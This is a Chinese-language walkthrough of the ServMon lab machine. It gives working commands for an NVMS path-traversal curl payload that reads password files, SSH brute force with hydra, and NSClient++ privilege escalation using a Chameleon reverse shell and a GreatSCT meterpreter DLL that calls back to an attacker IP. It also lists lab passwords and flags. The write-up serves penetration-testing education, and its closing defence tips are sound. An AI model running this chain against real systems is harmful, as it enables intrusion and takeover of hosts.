[Meachines] [Easy] ServMon NVMS-LFI+NSCP(NSClient)权限提升+Chameleon反向shell+regsvcs.exe+DLL注入权限提升
字数 1266 2025-08-29 08:30:24
ServMon 靶机渗透测试详细教程
1. 信息收集
1.1 目标识别
目标IP: 10.10.10.184
使用以下命令检查目标是否在线并扫描开放端口:
ip='10.10.10.184'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.2 端口扫描结果
开放端口及服务:
- 21/tcp: FTP (Microsoft ftpd) - 允许匿名登录
- 22/tcp: SSH (OpenSSH for Windows 8.0)
- 80/tcp: HTTP
- 135/tcp: MSRPC
- 139/tcp: NetBIOS-SSN
- 445/tcp: Microsoft-DS
- 5666/tcp: tcpwrapped
- 6063/tcp: X11?
- 6699/tcp: Napster?
- 8443/tcp: HTTPS (NSClient++)
- 49664-49670/tcp: MSRPC
2. 初始访问
2.1 FTP匿名登录
wget -r ftp://anonymous:anonymous@10.10.10.184
发现Users目录,但需要进一步枚举。
2.2 NVMS (网络视频管理系统) LFI漏洞利用
NVMS存在目录遍历漏洞,可以读取系统文件:
# 测试漏洞存在性
curl 'http://10.10.10.184/%2e%2e/%2e%2e/%2e%2e/%2e%2e/Windows/win.ini' -s
# 获取密码文件
curl 'http://10.10.10.184/%2e%2e/%2e%2e/%2e%2e/%2e%2e/Users/nathan/desktop/Passwords.txt' -s
获取到的密码文件可能包含有效凭据。
2.3 暴力破解SSH
使用获取到的用户名和密码进行SSH暴力破解:
hydra -L user.txt -P pass.txt ssh://10.10.10.184 -t 4
成功获取凭据:
- 用户名:
nadine - 密码:
L1k3B1gBut7s@W0rk
2.4 获取用户标志
通过SSH登录后获取user.txt:
a8e13e0045528251a914d0b02528f956
3. 权限提升
3.1 NSClient++利用
- 建立SSH隧道访问本地8443端口:
ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184
- 查看NSClient++配置文件获取密码:
type 'C:\Program Files\NSClient++\nsclient.ini'
获取密码: ew2x6SsGTxjRwXOT
3.2 使用Chameleon生成反向shell
- 使用Chameleon工具生成反向shell:
docker run --rm -v /path/to/Chameleon/reverseshell:/tmp chameleon -gcc reverse_win.c
- 设置SMB共享传输文件:
smbserver.py -smb2support share ./ -username maptnh -password maptnh
- 在目标机器上连接共享并复制文件:
net use X: \\10.10.16.33\share /user:maptnh maptnh
copy X:\\reverse_win_win_x86_64.exe C:\Users\Nadine\Downloads\reverse_win_win_x86_64.exe
- 使用Python脚本执行反向shell:
python3 exp.py "C:\\Users\Nadine\Downloads\reverse_win_win_x86_64.exe" https://127.0.0.1:8443 ew2x6SsGTxjRwXOT
3.3 regsvcs.exe DLL注入
- 使用GreatSCT生成恶意DLL:
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT
sudo ./GreatSCT.py --ip 10.10.16.33 --port 443 -t bypass -p regsvcs/meterpreter/rev_tcp.py -o rev
- 上传
rev.dll和exp.bat到目标机器C:\temp目录
exp.bat内容:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\\Temp\rev.dll
-
在NSClient++ Web界面添加执行脚本:
- 访问
https://127.0.0.1:8443/index.html#/settings/external scripts/scripts/shell - 添加执行脚本
C:\temp\exp.bat
- 访问
-
重启服务触发执行:
sc.exe stop nscp
sc.exe start nscp
3.4 获取root标志
成功提权后获取root.txt:
f19c1b367d019bd994eaaead9c6a7894
4. 关键知识点总结
- LFI漏洞利用:通过NVMS系统的目录遍历漏洞读取系统敏感文件
- 服务配置信息泄露:从NSClient++配置文件中获取管理密码
- 端口转发技术:通过SSH隧道访问受限服务
- DLL注入提权:利用regsvcs.exe加载恶意DLL实现权限提升
- 服务控制:通过停止和启动服务触发payload执行
5. 防御建议
- 禁用不必要的服务匿名访问
- 及时更新存在漏洞的软件版本
- 配置文件不应存储明文密码
- 限制服务执行外部脚本的能力
- 实施最小权限原则,避免服务以高权限运行